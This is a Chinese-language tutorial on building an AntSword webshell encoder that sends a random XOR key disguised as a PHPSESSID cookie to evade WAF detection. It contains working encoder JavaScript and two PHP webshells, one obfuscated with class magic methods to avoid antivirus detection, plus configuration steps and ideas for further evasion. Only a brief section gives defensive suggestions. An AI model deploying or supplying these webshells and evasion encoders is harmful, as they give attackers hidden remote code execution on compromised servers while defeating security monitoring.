基于随机Cookie的蚁剑动态秘钥编码器
字数 1363 2025-08-25 22:58:20

基于随机Cookie的蚁剑动态秘钥编码器教学文档

一、技术背景与原理

1.1 传统蚁剑编码器的不足

  • 传统蚁剑编码器使用固定密钥或时间生成密钥,存在以下问题:
    • 固定密钥容易被WAF识别和拦截
    • 时间同步问题可能导致玄学BUG
    • 握手交换密钥的特征明显

1.2 动态密钥的优势

  • 每次请求使用不同的随机密钥
  • 密钥通过常见HTTP头字段传递,隐蔽性高
  • 无需人工干预生成密钥

1.3 技术原理

  • 利用HTTP Cookie头传递动态密钥
  • 客户端(编码器)和服务端(WebShell)使用相同算法加解密
  • 密钥每次随机生成,增强对抗WAF的能力

二、编码器实现详解

2.1 编码器核心代码

'use strict';
module.exports = (pwd, data, ext = {}) => {
  // 生成26位随机ID,模拟PHP的session id
  let randomID = `x${Math.random().toString(16).substr(2)}`;
  
  function xor(payload) {
    let crypto = require('crypto');
    // 从随机ID生成MD5并截取26位作为密钥
    let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6);
    
    // 将密钥放入Cookie头
    ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key;
    
    // 将密钥转换为字符码数组
    key = key.split("").map(t => t.charCodeAt(0));
    
    // 对payload进行异或加密
    let cipher = payload.split("").map(t => t.charCodeAt(0));
    for (let i = 0; i < cipher.length; i++) {
      cipher[i] = cipher[i] ^ key[i % 26]
    }
    
    // 转换为Base64
    cipher = cipher.map(t => String.fromCharCode(t)).join("")
    cipher = Buffer.from(cipher).toString('base64');
    
    return cipher;
  }

  // 处理原始数据
  data['_'] = Buffer.from(data['_']).toString('base64');
  data[pwd] = `eval(base64_decode("${data['_']}"));`;
  data[pwd] = xor(data[pwd]);
  delete data['_'];

  return data;
}

2.2 关键点解析

  1. 随机密钥生成

    • 使用Math.random()生成随机数
    • 转换为16进制字符串并截取部分作为基础
    • 通过MD5哈希确保密钥长度和随机性
  2. 密钥传递

    • 利用ext.opts.httpConf.headers修改HTTP头
    • 伪装成PHP的PHPSESSID,增强隐蔽性
  3. 加密算法

    • 简单的异或(XOR)加密
    • 密钥循环使用(模26运算)
    • 最终Base64编码传输

三、WebShell实现

3.1 基础版本

<?php
@$post = base64_decode($_REQUEST['test']);
$key = @$_COOKIE['PHPSESSID'];
for($i = 0; $i < strlen($post); $i++) {
    $post[$i] = $post[$i] ^ $key[$i % 26];
}
@eval($post);
?>

3.2 免杀版本

<?php
class Cookie {
    function __construct() {
        $key = @$_COOKIE['PHPSESSID'];
        @$post = base64_decode($_REQUEST['test']);
        for($i = 0; $i < strlen($post); $i++) {
            $post[$i] = $post[$i] ^ $key[$i % 26];
        }
        return $post;
    }
    function __destruct() {
        return @eval($this->__construct());
    }
}
$check = new Cookie();
?>

3.3 WebShell特点

  1. 密钥获取:从Cookie中读取PHPSESSID作为密钥
  2. 解密过程
    • Base64解码请求参数
    • 使用相同异或算法解密
  3. 免杀技巧
    • 使用类封装
    • 利用魔术方法__construct__destruct
    • 避免直接使用eval等敏感函数

四、使用与配置指南

4.1 编码器配置

  1. 将编码器代码保存为.js文件
  2. 在蚁剑中导入编码器
  3. 配置Shell时选择该编码器

4.2 连接测试流程

  1. 蚁剑发送请求时自动:
    • 生成随机密钥
    • 设置Cookie头
    • 加密payload
  2. WebShell接收请求后:
    • 从Cookie获取密钥
    • 解密payload
    • 执行解密后的代码

4.3 注意事项

  1. 密钥长度:保持26位以模拟PHP session id
  2. 编码器扩展:可以修改其他HTTP头增强隐蔽性
  3. 兼容性:确保服务端PHP版本支持使用的特性

五、技术优势与防御建议

5.1 技术优势

  1. 动态性:每次请求使用不同密钥
  2. 隐蔽性
    • 利用常见HTTP头传递密钥
    • 无固定特征字符串
  3. 自动化:无需人工干预密钥生成

5.2 防御建议

  1. 流量检测
    • 监控异常的Cookie使用模式
    • 检测固定参数名的Base64数据
  2. 行为分析
    • 关注eval等危险函数的使用
    • 分析类魔术方法的可疑调用
  3. WAF规则
    • 针对异或加密特征制定规则
    • 检测动态密钥的生成模式

六、扩展与改进

6.1 可能的改进方向

  1. 加密算法增强:使用更复杂的加密算法
  2. 密钥生成优化:结合时间戳或其他变量
  3. 多字段混淆:利用多个HTTP头传递密钥片段

6.2 其他编码器参数

  • 可以修改User-Agent等头信息:
ext.opts.httpConf.headers['User-Agent'] = 'custom-agent';

6.3 多语言支持

  • 相同原理可应用于ASP、JSP等WebShell

七、总结

本方案通过利用HTTP Cookie动态传递密钥,实现了蚁剑与WebShell之间的安全通信。相比传统固定密钥或时间密钥方案,具有更好的隐蔽性和对抗WAF的能力。关键点在于密钥的动态生成、隐蔽传递以及加解密算法的匹配实现。

基于随机Cookie的蚁剑动态秘钥编码器教学文档 一、技术背景与原理 1.1 传统蚁剑编码器的不足 传统蚁剑编码器使用固定密钥或时间生成密钥,存在以下问题: 固定密钥容易被WAF识别和拦截 时间同步问题可能导致玄学BUG 握手交换密钥的特征明显 1.2 动态密钥的优势 每次请求使用不同的随机密钥 密钥通过常见HTTP头字段传递,隐蔽性高 无需人工干预生成密钥 1.3 技术原理 利用HTTP Cookie头传递动态密钥 客户端(编码器)和服务端(WebShell)使用相同算法加解密 密钥每次随机生成,增强对抗WAF的能力 二、编码器实现详解 2.1 编码器核心代码 2.2 关键点解析 随机密钥生成 : 使用 Math.random() 生成随机数 转换为16进制字符串并截取部分作为基础 通过MD5哈希确保密钥长度和随机性 密钥传递 : 利用 ext.opts.httpConf.headers 修改HTTP头 伪装成PHP的 PHPSESSID ,增强隐蔽性 加密算法 : 简单的异或(XOR)加密 密钥循环使用(模26运算) 最终Base64编码传输 三、WebShell实现 3.1 基础版本 3.2 免杀版本 3.3 WebShell特点 密钥获取 :从Cookie中读取 PHPSESSID 作为密钥 解密过程 : Base64解码请求参数 使用相同异或算法解密 免杀技巧 : 使用类封装 利用魔术方法 __construct 和 __destruct 避免直接使用 eval 等敏感函数 四、使用与配置指南 4.1 编码器配置 将编码器代码保存为 .js 文件 在蚁剑中导入编码器 配置Shell时选择该编码器 4.2 连接测试流程 蚁剑发送请求时自动: 生成随机密钥 设置Cookie头 加密payload WebShell接收请求后: 从Cookie获取密钥 解密payload 执行解密后的代码 4.3 注意事项 密钥长度 :保持26位以模拟PHP session id 编码器扩展 :可以修改其他HTTP头增强隐蔽性 兼容性 :确保服务端PHP版本支持使用的特性 五、技术优势与防御建议 5.1 技术优势 动态性 :每次请求使用不同密钥 隐蔽性 : 利用常见HTTP头传递密钥 无固定特征字符串 自动化 :无需人工干预密钥生成 5.2 防御建议 流量检测 : 监控异常的Cookie使用模式 检测固定参数名的Base64数据 行为分析 : 关注 eval 等危险函数的使用 分析类魔术方法的可疑调用 WAF规则 : 针对异或加密特征制定规则 检测动态密钥的生成模式 六、扩展与改进 6.1 可能的改进方向 加密算法增强 :使用更复杂的加密算法 密钥生成优化 :结合时间戳或其他变量 多字段混淆 :利用多个HTTP头传递密钥片段 6.2 其他编码器参数 可以修改 User-Agent 等头信息: 6.3 多语言支持 相同原理可应用于ASP、JSP等WebShell 七、总结 本方案通过利用HTTP Cookie动态传递密钥,实现了蚁剑与WebShell之间的安全通信。相比传统固定密钥或时间密钥方案,具有更好的隐蔽性和对抗WAF的能力。关键点在于密钥的动态生成、隐蔽传递以及加解密算法的匹配实现。